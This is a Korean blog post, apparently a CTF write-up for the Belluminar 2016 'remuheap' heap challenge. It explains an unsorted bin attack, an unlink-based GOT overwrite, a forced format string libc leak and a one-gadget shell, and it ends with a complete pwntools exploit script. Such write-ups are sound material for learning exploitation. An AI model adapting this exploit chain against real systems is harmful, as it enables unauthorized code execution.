ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Belluminar 2016] remuheap
    CTF 2016. 11. 27. 18:10

    이 문제는 기본적으로 베이스를 깔아둬야할것은 다음과같다.


    1. Ubuntu 16.04 LTS fgets ( 얼마전에 Allocate Heap with fgets 라는 제목으로 블로그에 글을 올린적이 있음 )

    2. Unsorted bin attack 


    위 두개를 이용해서 GOT를 덮고, format string 을 이용해서 릭한후, 다시한번 GOT를 덮어 호출하게되면 쉘이 따이는 문제이다.

    헉 스포 다해버렸띠..



    메뉴 선택은 위와 같은 함수를 이용해서 한다. 이 함수가 매우 쓸모있음 *_* ㅎㅎ





    1번 메뉴는 malloc을 해주는 함수인데, size를 입력받는다, 512 ~ 4096 사이즈라면 할당 할 수 있다.


    read 도한 4095바이트를 입력받고, 할당을 하게되면 chunk_inuse를 나타내는 0x6020c0으로 관리하게된다.


    inuse가 1로 셋팅되어있을때는 already allocated 알림을 띄운다. 이 코드를 봐선 할당을 한번밖에 할 수 없다는것을 알 수 있다.





    2번 메뉴는 free를 해주는 메뉴이다. chunk_inuse를 0으로 셋팅해서 다시 alloc 할수있게끔 할 수 있고, free함수로 청크를 해제한다.





    3번 함수는, name과 age를 받는데, name을 받는다고하면, fgets로 name을 입력받게된다. 여기서 chunk에 값을 쓸 수 있다 ㅎㅎ ( thanks to ubuntu 16.04 )




    여기서 어떻게하면 릭을 할 수 있을지가 의문이였는데, 릭이 가능하지만 릭되도 아무쓸모가없다.

    그냥 해당청크에 대한 name과 age 정보를 출력해준다




    이걸 이용해서 exit를 덮어서 호출할순있겠지만 이런 방법으로 익스하진 않았다. 인풋값을 0x6020c0에 넣는다. 이 용도는 따로있다.



    디버깅해서 fgets가 힙에 실제로 할당되는지 확인해본다.




    테스트 코드는 간단하다. malloc하고 free를 하면 다음 malloc은 해당 만들어진 청크를 가리키고 그쪽에 할당을해줄수 있다.

    fgets는 힙에 할당해주니 C가 해당 청크에 작성될것이다.



    제대로 작성된다. 그럼 unsorted bin attack을 이용해서 bk에 덮고싶은 주소를 담고, fake chunk를 만들어주면 되겠다!




    bk에 덮고싶은주소-16을 넣어주었다. 그럼 unsorted bin 특징상 main_arena+88의 주소가 0x6020d0에 작성될것이다.




    정상적으로 작성이 되었다!!



    fgets('\x41'*8 + p64(0x06020D0-0x18)+p64(0x6020C0-0x8)) 


    해당코드로 bk와 다음데이터에 작성해준다 다음이 어떻게 되는지 보자



    5번 메뉴를 통해서 아무값이나 넣어주게되면 0x6020c0에 데이터가 담기게된다. 이제 free를 할거임!~~




    허거걱ㄱ 뭔가가발생했음!! 그 뭔가가 뭔지볼거임 이제 0x6020d0 에 뭐가 작성되는지봅시다




    unlink 매크로가 호출되어 우리가 원하는곳에 데이터를 작성 했다.

    fgets로 작성해주면 아까와 같이 데이터를 작성 할 수 있다.


    unlink가 발생해서 우리가 원하는곳에 데이터를 써 GOT를 덮을 수 있다.


    GOT를 덮지만, libc를 leak해야되는데, 예전에 Bcloud를 풀면서 format string을 강제로 발생시켜 릭하는것을 해본적이있다.

    그래서 이건 별 문제없이 되었다.




    atoi 를 printf@plt로 덮어주었다. 


    그럼 printf(&buf) 가 되서 format string 버그가 발생하고, libc를 릭할 수 있다.






    이것으로 libc를 릭해서 오프셋계산후, oneshot 가젯으로 덮어주면 된다!


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    from pwn import *
     
    = remote('10.211.55.4',4444)
    #s = remote('0',4444)
    raw_input()
    def malloc(size,data):
        p.recvuntil('>')
        p.sendline('1')
        p.recvuntil('Input size: ')
        p.sendline(str(size))
        p.recvuntil('Input data: ')
        p.sendline(data)
    def fgets(data):
        p.recvuntil('>')    
        p.sendline('3')
        p.recvuntil('change age (y/n)? ')
        p.sendline('n')
        p.recvuntil('change name (y/n)? ')
        p.sendline('y')
        p.recvuntil('input name: ')
        p.sendline(data)
     
    def free():
        p.sendline("2")
     
    def pwn():
        print p.recvuntil('>')
        free()
        malloc(0x1000,"A")
        print p.recvuntil('>')
        free()
        fgets('C'*24#chunk 1 
        print p.recvuntil('>')
        free()
        fgets('A'*8+p64(0x6020D0-0x10)) # bk
        malloc(0x1000,'B'
        fgets('\x41'*8 + p64(0x06020D0-0x18)+p64(0x6020C0-0x8)) 
        print p.recvuntil('>')
        p.sendline('5')
        print p.recvuntil('code:')
        p.sendline('1234')
        print p.recvuntil('>')
        free()
        malloc(1024,'\x41'*8+p64(0x602078-0x8-1))
        fgets("\x00"*7 + "\xc0\x07\x40\x00\x00\x00\x00\x00" + "\x00"*4 )
        print p.recvuntil('>')
        p.send('%17$p')
        leak = int(p.recvuntil('I')[3:-1],16)
        log.info("puts@libc : 0x%08x" % leak)
        image_base = leak - 0x20830
        log.info("image_base: 0x%08x" % image_base)
        magic = image_base + 0x4525A
        log.info("magic: 0x%08x" % magic)
        print p.recvuntil('>')    
        p.sendline('aa')
        print p.recvuntil('?')
        p.sendline('n')
        print p.recvuntil('?')
        p.sendline('y')
        print p.recvuntil(':')
        #p.sendline('\x00'*6 + p64(magic)*2 + "\x00\x00")
        #p.sendline('\x00'*6 + p64(magic) + "\x00" + p64(magic))
        p.sendline("\x00" + p64(magic))
        p.interactive()
    pwn()
     
    cs








    'CTF' 카테고리의 다른 글

    [BCTF 2016] Memo  (0) 2016.11.28
    Plaid CTF 2014 ezhp  (1) 2016.11.28
    HITCON 2014 stkof  (0) 2016.11.26
    HITCON 2016 secret_holder  (0) 2016.11.23
    [HSOC] Find Me!! (Reversing 400pt)  (0) 2016.11.06

    댓글

Designed by Tistory.